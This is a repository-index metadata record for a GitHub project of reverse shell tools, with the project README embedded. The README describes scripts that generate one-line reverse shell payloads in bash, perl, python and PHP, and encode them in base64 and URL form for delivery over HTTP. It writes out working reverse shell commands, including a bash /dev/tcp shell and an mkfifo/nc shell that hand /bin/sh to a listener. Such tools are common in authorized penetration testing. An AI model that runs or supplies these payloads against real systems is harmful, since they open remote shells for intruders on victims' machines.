{"id":16812044,"url":"https://github.com/arale61/reverse_shells_tools","last_synced_at":"2025-03-17T11:14:26.922Z","repository":{"id":191064614,"uuid":"683848404","full_name":"arale61/reverse_shells_tools","owner":"arale61","description":"Yet another scripts for generating reverse shells based mostly on PayloadAllTheThings","archived":false,"fork":false,"pushed_at":"2023-08-27T23:37:49.000Z","size":28,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-23T20:35:26.353Z","etag":null,"topics":["nc-reverse-shell","openssl-reverse-shell","perl-reverse-shell","php-reverse-shell","python-reverse-shell","reverse-shell","socat-reverse-shell","udp-reverse-shell"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/arale61.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-08-27T22:16:31.000Z","updated_at":"2023-12-07T09:30:17.000Z","dependencies_parsed_at":"2023-08-27T23:59:40.254Z","dependency_job_id":null,"html_url":"https://github.com/arale61/reverse_shells_tools","commit_stats":null,"previous_names":["arale61/reverse_shells_tools"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/arale61%2Freverse_shells_tools","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/arale61%2Freverse_shells_tools/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/arale61%2Freverse_shells_tools/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/arale61%2Freverse_shells_tools/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/arale61","download_url":"https://codeload.github.com/arale61/reverse_shells_tools/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244022724,"owners_count":20385134,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["nc-reverse-shell","openssl-reverse-shell","perl-reverse-shell","php-reverse-shell","python-reverse-shell","reverse-shell","socat-reverse-shell","udp-reverse-shell"],"created_at":"2024-10-13T10:20:29.285Z","updated_at":"2025-03-17T11:14:26.901Z","avatar_url":"https://github.com/arale61.png","language":"Python","readme":"# Reverse shells tools\nScripts for generating reverse shells based mostly on PayloadAllTheThings.\n\nUsing one script you can generate one-line reverse shell payloads.\n\nUsing the other script you can base64 encode the reverse shell payload when appropiate. This encoding takes into account bad chars for supporting channels as http (url friendly base64 encoded payloads).\n\nI normally use the one-liner to pipe the result into the encoder when appropiate.\n\nThe tools are **2 scripts**:\n- **rs_oneliner.py**: Mostly one-liner reverse shell generator, based on [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)\n- **rs_b64encode.py**: Use it in convination with **rs_oneliner.py** when appropiate payloads are used (payloads normally to be executed in a bash context). Using the **--echo** It can help you constructing an *echo \u003cbase64_encoded_payload\u003e | base64 -d | bash* construct. And with **--echo** and **--url** it will use **url encode** the payload too.\n\n## How to use\n\nMinimal execution needs:\n\n```bash\ngit clone https://github.com/arale61/reverse_shells_tools.git\ncd reverse_shells_tools\npython ./rs_oneliner.py -h\npython ./rs_b64encode.py -h\n```\n\nHow **I prefer to use it**:\n- I have my own **local bin path** where **these scripts are copied** and **set as executables**:\n```\n~/.local/bin/rs_oneliner.py\n~/.local/bin/rs_b64encode.py\n```\n- This **local bin path is added in my PATH** environment variable in my .zshrc or .bashrc:\n```\nexport PATH=$PATH:$HOME/.local/bin\n```\n- Then use them as any other executable available for you.\n\n## Examples:\n\n\n1. Simple bash tcp reverse shell:\n```bash\n./rs_oneliner.py -i 127.0.0.1 -p 6161 --bash\n```\n\n\n2. Simple bash udp reverse shell:\n```bash\n./rs_oneliner.py -i 127.0.0.1 -p 6161 --bash --udp\n```\n\n\n3. Simple perl tcp reverse shell for windows:\n```bash\n./rs_oneliner.py -i 127.0.0.1 -p 6161 --perl --win\n```\n\n\n4. Pipe into rs_b64encode.py:\n```bash\n./rs_oneliner.py -i 127.0.0.1 -p 6161 --bash | ./rs_b64encode.py\n```\n\n\n5. Pipe into rs_b64encode.py and construction echo decode payload:\n```bash\n./rs_oneliner.py -i 127.0.0.1 -p 6161 --bash | ./rs_b64encode.py --echo\n```\n\n\n6. Pipe into rs_b64encode.py and construction echo decode url_quote_plus encode payload:\n```bash\n./rs_oneliner.py -i 127.0.0.1 -p 6161 --bash | ./rs_b64encode.py --echo --url\n```\n\n\n7. Simple safe base64 encode:\n```bash\n./rs_b64encode.py -p 'bash -i \u003e\u0026 /dev/tcp/127.0.0.1/6161 0\u003e\u002610'\n```\n\n\n8. Simple safe base64 encode and use echo decode construct:\n```bash\necho 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u003e\u00261|nc 127.0.0.1 6161 \u003e/tmp/f' | ./rs_b64encode.py --echo\n#or\n./rs_b64encode.py -p 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u003e\u00261|nc 127.0.0.1 6161 \u003e/tmp/f' --echo\n```\n\n\n9. Pipe with rs_oneliner.py:\n```bash\n./rs_oneliner.py -i 127.0.0.1 -p 6161 --python | ./rs_b64encode.py\n```\n\n\n10. Pipe with rs_oneliner.py and construction echo decode payload:\n```bash\n./rs_oneliner.py -i 127.0.0.1 -p 6161 --perl | ./rs_b64encode.py --echo\n```\n\n\n11. Pipe into rs_b64encode.py and construction echo decode url_quote_plus encode payload:\n```bash\n./rs_oneliner.py -i 127.0.0.1 -p 6161 --phpsystem | ./rs_b64encode.py --echo --url\n```\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Farale61%2Freverse_shells_tools","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Farale61%2Freverse_shells_tools","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Farale61%2Freverse_shells_tools/lists"}